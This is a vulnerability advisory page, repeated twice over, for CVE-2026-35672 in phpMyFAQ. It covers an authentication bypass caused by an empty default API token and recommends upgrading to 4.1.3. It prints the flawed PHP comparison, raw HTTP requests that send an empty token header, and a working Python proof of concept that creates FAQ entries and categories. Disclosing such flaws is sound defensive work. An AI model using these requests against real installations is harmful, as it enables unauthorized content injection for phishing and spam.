Answer in brief
CVE-2026-35672 records a High severity missing auth vulnerability in phpMyFAQ: Default Empty API Token Authentication Bypass. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
Answer in brief
CVE-2026-35672 records a High severity missing auth vulnerability in phpMyFAQ: Default Empty API Token Authentication Bypass. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
Update phpmyfaq/phpmyfaq to 4.1.3; thorsten/phpmyfaq to 4.1.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanMissing Auth describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-35672 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| phpmyfaq/phpmyfaqcomposer | <=4.1.2 | 4.1.3 |
| thorsten/phpmyfaqcomposer | <=4.1.2 | 4.1.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-35672 records a High severity missing auth vulnerability in phpMyFAQ: Default Empty API Token Authentication Bypass. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate phpmyfaq/phpmyfaq to 4.1.3; thorsten/phpmyfaq to 4.1.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanMissing Auth describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-35672 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| phpmyfaq/phpmyfaqcomposer | <=4.1.2 | 4.1.3 |
| thorsten/phpmyfaqcomposer | <=4.1.2 | 4.1.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-35672 records a High severity missing auth vulnerability in phpMyFAQ: Default Empty API Token Authentication Bypass. The source record does not mark it as known exploited. 2 affected packages are mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard### Summary A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header." ### Details The root cause is in two files: **1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278): ```php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // ← defaults to empty string ``` **2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204): ```php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } } ``` The method uses strict inequality (`!==`). When `api.apiClientToken` is `''` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `'' !== ''` which evaluates to `false` — no exception is thrown, and authentication is completely bypassed. The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `'Endpoints with Authentication'` and document HTTP 401 responses, while read-only endpoints are tagged `'Public Endpoints'`. The following API endpoints call `$this->hasValidToken()` as their only authentication check: | File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | `src/.../Controller/Api/FaqController.php:701-703` | `/api/v4.0/faq/create` | `POST` | | `src/.../Controller/Api/FaqController.php:857-859` | `/api/v4.0/faq/update` | `PUT` | | `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category` | `POST` | | `src/.../Controller/Api/QuestionController.php:89-91` | `/api/v4.0/question` | `POST` | ### PoC **Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults. **Step 1 — Verify that requests without auth header are correctly rejected:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json { "language": "en", "category-id": 1, "question": "Test Question", "answer": "Test Answer", "keywords": "test", "author": "test", "email": "[email protected]", "is-active": true, "is-sticky": false } ``` Response (HTTP 401 — correctly blocked): ```json {"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"} ``` **Step 2 — Send the same request with an empty `x-pmf-token` header:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This FAQ was created without any valid authentication token.", "keywords": "poc,bypass", "author": "Security Researcher", "email": "[email protected]", "is-active": true, "is-sticky": false } ``` Response (HTTP 201 — bypass confirmed): ```json {"stored": true} ``` **Step 3 — Category creation via the same bypass:** ```http POST /api/v4.0/category HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "parent-id": 0, "category-name": "POC_Category", "description": "Category created via empty token bypass", "user-id": 1, "group-id": -1, "is-active": true, "show-on-homepage": true } ``` Response (HTTP 201): ```json {"stored": true} ``` **Step 4 — Verify injected content is publicly visible:** ```http GET /api/v4.0/faqs/1 HTTP/1.1 Host: <target> ``` Response (HTTP 200 — injected FAQ publicly exposed): ```json [{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}] ``` **PoC with Python (urllib — no external dependencies):** ```python import urllib.request, json TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""} # Create FAQ via empty token bypass data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "[email protected]", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful ``` **Overlap Summary:** | Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | *(not sent)* | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | `""` | **201 Created** | 🔓 Bypass confirmed | | Category creation | `""` | **201 Created** | 🔓 Bypass confirmed | | Public verification | *(not needed)* | 200 OK | 📄 Injected content visible | ### Impact This is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the **default state after installation**. - **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state. - **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base. - **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.
### Summary A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header." ### Details The root cause is in two files: **1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278): ```php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // ← defaults to empty string ``` **2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204): ```php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } } ``` The method uses strict inequality (`!==`). When `api.apiClientToken` is `''` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `'' !== ''` which evaluates to `false` — no exception is thrown, and authentication is completely bypassed. The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `'Endpoints with Authentication'` and document HTTP 401 responses, while read-only endpoints are tagged `'Public Endpoints'`. The following API endpoints call `$this->hasValidToken()` as their only authentication check: | File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | `src/.../Controller/Api/FaqController.php:701-703` | `/api/v4.0/faq/create` | `POST` | | `src/.../Controller/Api/FaqController.php:857-859` | `/api/v4.0/faq/update` | `PUT` | | `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category` | `POST` | | `src/.../Controller/Api/QuestionController.php:89-91` | `/api/v4.0/question` | `POST` | ### PoC **Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults. **Step 1 — Verify that requests without auth header are correctly rejected:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json { "language": "en", "category-id": 1, "question": "Test Question", "answer": "Test Answer", "keywords": "test", "author": "test", "email": "[email protected]", "is-active": true, "is-sticky": false } ``` Response (HTTP 401 — correctly blocked): ```json {"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"} ``` **Step 2 — Send the same request with an empty `x-pmf-token` header:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This FAQ was created without any valid authentication token.", "keywords": "poc,bypass", "author": "Security Researcher", "email": "[email protected]", "is-active": true, "is-sticky": false } ``` Response (HTTP 201 — bypass confirmed): ```json {"stored": true} ``` **Step 3 — Category creation via the same bypass:** ```http POST /api/v4.0/category HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "parent-id": 0, "category-name": "POC_Category", "description": "Category created via empty token bypass", "user-id": 1, "group-id": -1, "is-active": true, "show-on-homepage": true } ``` Response (HTTP 201): ```json {"stored": true} ``` **Step 4 — Verify injected content is publicly visible:** ```http GET /api/v4.0/faqs/1 HTTP/1.1 Host: <target> ``` Response (HTTP 200 — injected FAQ publicly exposed): ```json [{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}] ``` **PoC with Python (urllib — no external dependencies):** ```python import urllib.request, json TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""} # Create FAQ via empty token bypass data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "[email protected]", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful ``` **Overlap Summary:** | Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | *(not sent)* | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | `""` | **201 Created** | 🔓 Bypass confirmed | | Category creation | `""` | **201 Created** | 🔓 Bypass confirmed | | Public verification | *(not needed)* | 200 OK | 📄 Injected content visible | ### Impact This is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the **default state after installation**. - **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state. - **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base. - **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.